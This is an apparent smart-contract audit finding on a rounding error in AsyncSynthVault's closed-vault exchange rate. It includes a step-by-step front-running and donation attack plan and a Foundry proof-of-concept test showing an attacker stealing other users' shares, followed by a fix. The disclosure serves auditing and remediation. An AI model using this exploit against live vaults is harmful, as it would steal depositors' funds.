Exchange rate is calculated incorrectly when the vault is closed, potentially leading to funds being stolen
The exchange ratio between shares and assets is calculated incorrectly when the vault is closed. This can cause accounting inconsistencies, funds being stolen and users being unable to redeem shares.\\nThe functions AsyncSynthVault::_convertToAssets and AsyncSynthVault::_convertToShares both add `1` to the epoch cached variables `totalAssetsSnapshotForDeposit`, `totalSupplySnapshotForDeposit`, `totalAssetsSnapshotForRedeem` and `totalSupplySnapshotForRedeem`.\\nThis is incorrect because the function previewSettle, used in _settle(), already adds `1` to the variables:\\n```\\n// rest of code\\nuint256 totalAssetsSnapshotForDeposit = _lastSavedBalance + 1;\\nuint256 totalSupplySnapshotForDeposit = totalSupply + 1;\\n// rest of code\\nuint256 totalAssetsSnapshotForRedeem = _lastSavedBalance + pendingDeposit + 1;\\nuint256 totalSupplySnapshotForRedeem = totalSupply + sharesToMint + 1;\\n// rest of code\\n```\\n\\nThis leads to accounting inconsistencies between depositing/redeeming when a vault is closed and depositing/redeeming when a vault is open whenever the exchange ratio assets/shares is not exactly 1:1.\\nIf a share is worth more than one asset:\\nUsers that will request a deposit while the vault is closed will receive more shares than they should\\nUsers that will request a redeem while the vault is closed will receive less assets than they should\\nPOC\\nThis can be taken advantage of by an attacker by doing the following:\\nThe attacker monitors the mempool for a vault deployment.\\nBefore the vault is deployed the attacker transfers to the vault some of the vault underlying asset (donation). This increases the value of one share.\\nThe protocol team initializes the vault and adds the bootstrap liquidity.\\nUsers use the protocol normally and deposits some assets.\\nThe vault gets closed by the protocol team and the funds invested.\\nSome users request a deposit while the vault is closed.\\nThe attacker monitors the mempool to know when the vault will be open again.\\nRight before the vault is opened, the attacker performs multiple deposit requests with different accounts. For each account he deposits the minimum amount of assets required to receive 1 share.\\nThe vault opens.\\nThe attacker claims all of the deposits with every account and then redeems the shares immediately for profit.\\nThis will "steal" shares of other users (point 6) from the claimable silo because the protocol will give the attacker more shares than it should. The attacker will profit and some users won't be able to claim their shares.\\nAdd imports to TestClaimRedeem.t.sol:\\n```\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\n```\\n\\nand copy-paste:\\n```\\nfunction test_attackerProfitsViaRequestingDeposits() external {\\n    address attacker = makeAddr("attacker");\\n    address protocolUsers = makeAddr("alice");\\n    address vaultOwner = vaultTested.owner();\\n\\n    uint256 donation = 1e18 - 1;\\n    uint256 protocolUsersDeposit = 10e18 + 15e18;\\n    uint256 protocolTeamBootstrapDeposit = 1e18;\\n\\n    IERC20 asset = IERC20(vaultTested.asset());\\n    deal(address(asset), protocolUsers, protocolUsersDeposit);\\n    deal(address(asset), attacker, donation);\\n    deal(address(asset), vaultOwner, protocolTeamBootstrapDeposit);\\n\\n    vm.prank(vaultOwner);\\n    asset.approve(address(vaultTested), type(uint256).max);\\n\\n    vm.prank(protocolUsers);\\n    asset.approve(address(vaultTested), type(uint256).max);\\n\\n    vm.prank(attacker);\\n    asset.approve(address(vaultTested), type(uint256).max);\\n\\n    //-> Attacker donates `1e18 - 1` assets, this can be done before the vault is even deployed\\n    vm.prank(attacker);\\n    asset.transfer(address(vaultTested), donation);\\n\\n    //-> Protocol team bootstraps the vault with `1e18` of assets\\n    vm.prank(vaultOwner);\\n    vaultTested.deposit(protocolTeamBootstrapDeposit, vaultOwner);\\n    \\n    //-> Users deposit `10e18` of liquidity in the vault\\n    vm.prank(protocolUsers);\\n    vaultTested.deposit(10e18, protocolUsers);\\n\\n    //-> Vault gets closed\\n    vm.prank(vaultOwner);\\n    vaultTested.close();\\n\\n    //-> Users request deposits for `15e18` assets\\n    vm.prank(protocolUsers);\\n    vaultTested.requestDeposit(15e18, protocolUsers, protocolUsers, "");\\n\\n    //-> The attacker frontruns the call to `open()` and knows that:\\n    //- The current epoch cached `totalSupply` of shares will be `vaultTested.totalSupply()` + 1 + 1\\n    //- The current epoch cached `totalAssets` will be 12e18 + 1 + 1\\n    uint256 totalSupplyCachedOnOpen = vaultTested.totalSupply() + 1 + 1; //Current supply of shares, plus 1 used as virtual share, plus 1 added by `_convertToAssets`\\n    uint256 totalAssetsCachedOnOpen = vaultTested.lastSavedBalance() + 1 + 1; //Total assets passed as paremeter to `open`, plus 1 used as virtual share, plus 1 added by `_convertToAssets`\\n    uint256 minToDepositToGetOneShare = totalAssetsCachedOnOpen / totalSupplyCachedOnOpen;\\n\\n    //-> Attacker frontruns the call to `open()` by requesting a deposit with multiple fresh accounts\\n    uint256 totalDeposited = 0;\\n    for(uint256 i = 0; i < 30; i++) {\\n        address attackerEOA = address(uint160(i * 31000 + 49*49)); //Random address that does not conflict with existing ones\\n        deal(address(asset), attackerEOA, minToDepositToGetOneShare);\\n        vm.startPrank(attackerEOA);\\n        asset.approve(address(vaultTested), type(uint256).max);\\n        vaultTested.requestDeposit(minToDepositToGetOneShare, attackerEOA, attackerEOA, "");\\n        vm.stopPrank();\\n        totalDeposited += minToDepositToGetOneShare;\\n    }\\n\\n    //->Vault gets opened again with 0 profit and 0 losses (for simplicity)\\n    vm.startPrank(vaultOwner);\\n    vaultTested.open(vaultTested.lastSavedBalance());\\n    vm.stopPrank();\\n\\n    //-> Attacker claims his deposits and withdraws them immediately for profit\\n    uint256 totalRedeemed = 0;\\n    for(uint256 i = 0; i < 30; i++) {\\n        address attackerEOA = address(uint160(i * 31000 + 49*49)); //Random address that does not conflict with existing ones\\n        vm.startPrank(attackerEOA);\\n        vaultTested.claimDeposit(attackerEOA);\\n        uint256 assets = vaultTested.redeem(vaultTested.balanceOf(attackerEOA), attackerEOA, attackerEOA);\\n        vm.stopPrank();\\n        totalRedeemed += assets;\\n    }\\n\\n    //->❌ Attacker is in profit\\n    assertGt(totalRedeemed, totalDeposited + donation);\\n}\\n```\\n
In the functions AsyncSynthVault::_convertToAssets and AsyncSynthVault::_convertToShares:\\nReturn `0` if `requestId == 0`\\nDon't add `1` to the two cached variables\\nIt's also a good idea to perform the initial bootstrapping deposit in the initialize function (as suggested in another finding) and require that the vault contains `0` assets when the first deposit is performed.
When the ratio between shares and assets is not 1:1 the protocol calculates the exchange rate between assets and shares inconsitently. This is an issue by itself and can lead to loss of funds and users not being able to claim shares. It can also be taken advantage of by an attacker to steal shares from the claimable silo.\\nNote that the "donation" done initially is not akin to an "inflation" attack because the attacker is not required to mint any share.
```\\n// rest of code\\nuint256 totalAssetsSnapshotForDeposit = _lastSavedBalance + 1;\\nuint256 totalSupplySnapshotForDeposit = totalSupply + 1;\\n// rest of code\\nuint256 totalAssetsSnapshotForRedeem = _lastSavedBalance + pendingDeposit + 1;\\nuint256 totalSupplySnapshotForRedeem = totalSupply + sharesToMint + 1;\\n// rest of code\\n```\\n